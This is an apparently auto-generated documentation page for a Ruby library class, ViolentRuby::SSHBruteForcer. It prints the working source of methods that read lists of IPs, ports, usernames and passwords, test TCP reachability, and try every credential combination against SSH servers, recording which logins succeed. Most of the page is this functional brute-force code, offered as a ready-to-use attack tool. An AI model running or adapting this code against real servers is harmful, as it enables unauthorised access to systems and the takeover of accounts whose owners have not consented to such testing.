Class: ViolentRuby::SSHBruteForcer
- Inherits:
-
Object
- Object
- ViolentRuby::SSHBruteForcer
- Defined in:
- lib/violent_ruby/ssh_brute_forcer/ssh_brute_forcer.rb
Overview
The SSH Brute Forcer class provides a simply way to brute-force an SSH server’s credentials.
Instance Attribute Summary collapse
Instance Method Summary collapse
-
#able_to_login?(args = {}) ⇒ Boolean
Check if a given IP address, port, username and passwords are correct to login.
-
#brute_force(args = {}) ⇒ Array<Hash>
(also: #brute_force!)
Brute force some’a dem SSH login credz.
-
#connectable?(args = {}) ⇒ Boolean
Check if a given IP address and port can connceted to.
-
#initialize(args = {}) ⇒ SSHBruteForcer
constructor
Create a new SSH Brute Forcer.
Constructor Details
#initialize(args = {}) ⇒ SSHBruteForcer
Create a new SSH Brute Forcer.
37 38 39 40 41 42 |
# File 'lib/violent_ruby/ssh_brute_forcer/ssh_brute_forcer.rb', line 37 def initialize(args = {}) @users = args[:users] if args[:users] && File.readable?(args[:users]) @passwords = args[:passwords] if args[:passwords] && File.readable?(args[:passwords]) @ips = args[:ips] if args[:ips] && File.readable?(args[:ips]) @ports = args[:ports] if args[:ports] && File.readable?(args[:ports]) end |
Instance Attribute Details
#ips ⇒ Object
26 27 28 |
# File 'lib/violent_ruby/ssh_brute_forcer/ssh_brute_forcer.rb', line 26 def ips @ips end |
#passwords ⇒ Object
24 25 26 |
# File 'lib/violent_ruby/ssh_brute_forcer/ssh_brute_forcer.rb', line 24 def passwords @passwords end |
#ports ⇒ Object
28 29 30 |
# File 'lib/violent_ruby/ssh_brute_forcer/ssh_brute_forcer.rb', line 28 def ports @ports end |
#users ⇒ Object
22 23 24 |
# File 'lib/violent_ruby/ssh_brute_forcer/ssh_brute_forcer.rb', line 22 def users @users end |
Instance Method Details
#able_to_login?(args = {}) ⇒ Boolean
Check if a given IP address, port, username and passwords are correct to login.
105 106 107 108 109 110 111 112 113 114 115 |
# File 'lib/violent_ruby/ssh_brute_forcer/ssh_brute_forcer.rb', line 105 def able_to_login?(args = {}) Net::SSH.start(args[:ip], args[:username], port: args[:port].to_i, password: args[:password], auth_methods: ['password'], number_of_password_prompts: 0) true rescue false end |
#brute_force(args = {}) ⇒ Array<Hash> Also known as: brute_force!
Brute force some’a dem SSH login credz.
52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
# File 'lib/violent_ruby/ssh_brute_forcer/ssh_brute_forcer.rb', line 52 def brute_force(args = {}) meets_our_requirements?(args) results = [] ips = args[:ips] || @ips ports = args[:ports] || @ports users = args[:users] || @users passwords = args[:passwords] || @passwords iterate_over(ips).each do |ip| iterate_over(ports).each do |port| next unless connectable?(ip: ip, port: port) iterate_over(users).each do |user| iterate_over(passwords).each do |password| if able_to_login?(ip: ip, port: port, username: user, password: password) result = format_result("SUCCESS", ip, port, user, password) else result = format_result("FAILURE", ip, port, user, password) end results << result yield result if block_given? end end end end results end |
#connectable?(args = {}) ⇒ Boolean
Check if a given IP address and port can connceted to.
87 88 89 90 91 92 93 94 |
# File 'lib/violent_ruby/ssh_brute_forcer/ssh_brute_forcer.rb', line 87 def connectable?(args = {}) Timeout::timeout(2) do Socketry::TCP::Socket.connect(args[:ip], args[:port]) return true end rescue false end |